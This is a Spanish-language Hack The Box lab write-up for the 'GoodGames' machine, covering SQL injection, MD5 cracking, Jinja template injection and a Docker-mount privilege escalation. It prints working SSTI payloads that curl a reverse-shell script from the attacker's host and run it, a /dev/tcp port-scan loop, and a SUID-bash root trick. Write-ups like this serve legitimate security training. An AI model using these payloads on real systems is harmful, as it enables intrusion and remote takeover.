Rug4lo


Hacker • Red teamer • Pentester




HTB - GoodGames

GoodGames

Contenido

Reconocimiento

Empezamos con el típico escaneo de Nmap

❯ nmap -p- --open -sS -min-rate 5000 -vvv -n -Pn -oG allPorts 10.10.11.130

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-03 18:04 CET
Initiating SYN Stealth Scan at 18:04
Scanning 10.10.11.130 [65535 ports]
Discovered open port 80/tcp on 10.10.11.130
Completed SYN Stealth Scan at 18:04, 12.20s elapsed (65535 total ports)
Nmap scan report for 10.10.11.130
Host is up, received user-set (0.078s latency).
Scanned at 2023-11-03 18:04:23 CET for 12s
Not shown: 65532 closed tcp ports (reset), 2 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.41 seconds
           Raw packets sent: 66957 (2.946MB) | Rcvd: 66270 (2.651MB)

Podemos meternos en la web a ver que hay

GoodGames

Vemos que hay un login

GoodGames

SQLI al panel administrador

Interceptamos la peticion con Burpsuite, podemos probar a hacer una SQLI

GoodGames

Esto nos funcionara y estaremos como el usuario admin

GoodGames

Si clicamos en ajustes veremos que nos manda a una pagina llamada http://internal-administration.goodgames.htb, la añadimos en el etc hosts, y veremos este panel

GoodGames

Podemos probar a hacer una SQLI en este panel también, pero no conseguiremos nada

Dumpeo de la base de datos

Pero recordando que podemos hacer una SQLI en el anterior panel podemos ver la base de datos en busca de alguna credencial valida

Primero podemos averiguar el numero de columnas

GoodGames

Sabiendo que tiene 4 columnas podemos empezar a ver información, como las bases de datos

GoodGames GoodGames

Ahora podemos listar las tablas en la base de datos de esta manera

GoodGames

Podemos ver 3 tablas, vamos a centrarnos en la user

GoodGames

Ahora vamos a listar las columnas de la tabla user

GoodGames

GoodGames

Finalmente vamos a listar el contenido del campo password y name

GoodGames

GoodGames

Tenemos la contraseña del usuario Admin, pero parece estar hasheada

Con la herramienta Hash Identifier podemos ver que esta hacheado con md5

GoodGames

Podemos irnos a esta pagina para conseguir la contraseña

Pagina –> https://hashes.com/en/decrypt/hash

Veremos que esta es la contraseña

GoodGames

Server Side Template Injection

Podemos probar a introducirla en el login anterior, y veremos que funciona

GoodGames

Ahora dentro de este panel de administrador podemos ver que no hay mucho que hacer, pero en Settings un apartado donde podemos cambiarnos el nombre

Viendo que el output se refleja en la web podemos probar un SSTI

GoodGames

Primero probamos introduciendo {{7*7}}, si nos hace la multiplicación significa que es vulnerable

GoodGames

Perfecto, viendo que est vulnerable podemos probar a ejecutar comandos, en mi caso me creare un servidor en python, con el que compartiré un archivo llamado shell, el cual contiene una reverse shell

Con la ejecución de comandos me descargare ese archivo en la maquina victima y lo ejecutare

Vamos a copiar el archivo en el /tmp de la maquina victima

{{ self.__init__.__globals__.__builtins__.__import__('os').popen("curl 10.10.14.15:8081/shell -o /tmp/shell").read() }}

Ahora vamos a ponernos en escucha con netcat y vamos a ejecutar el script

{{ self.__init__.__globals__.__builtins__.__import__('os').popen("bash /tmp/shell").read() }}

Con esto tendremos una consola interactiva como root, pero sera de un contenedor

GoodGames

Igualmente si buscamos encontraremos la user flag en el home de augustus

GoodGames

Escalada de privilegios

Ahora tenemos que ir a por la root flag, para esto si buscamos, veremos que el directorio augustus es una montura de la maquina principal

GoodGames

Con eso en mente sabemos que el usuario augustus existe en la maquina principal, si hacemos un descubrimiento de puertos desde el docker veremos que tiene el puerto 22 abierto

for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null

Si nos conectamos rehusando la contraseña del usuario admin veremos que nos dejara acceder

GoodGames

Ahora que estamos en la maquina principal, recordamos que tenemos una montura al docker, y en el docker somos root, por lo que podemos copiar la /bin/bash en el home de augustus

GoodGames

Ahora volvemos al Docker copiamos esta bash otra vez pero esta vez como root, y le damos permisos SUID a la copia de la bash

GoodGames

Vale, si nos volvemos a conectar por ssh y ejecutamos la nueva bash veremos que nos volvemos root

GoodGames

Ahora podemos ir al /root y ver la flag

GoodGames



Recent

HTB - PC

Resolucion de la maquina PC - Easy

Token HijackingSQL InjectionsshPrivilege Escalation
Recent

HTB - Inject

Resolucion de la maquina Inject - Easy

Local File InclusionSpring Cloud ExploitationAbusing Cron JobMalicious Ansible Playbook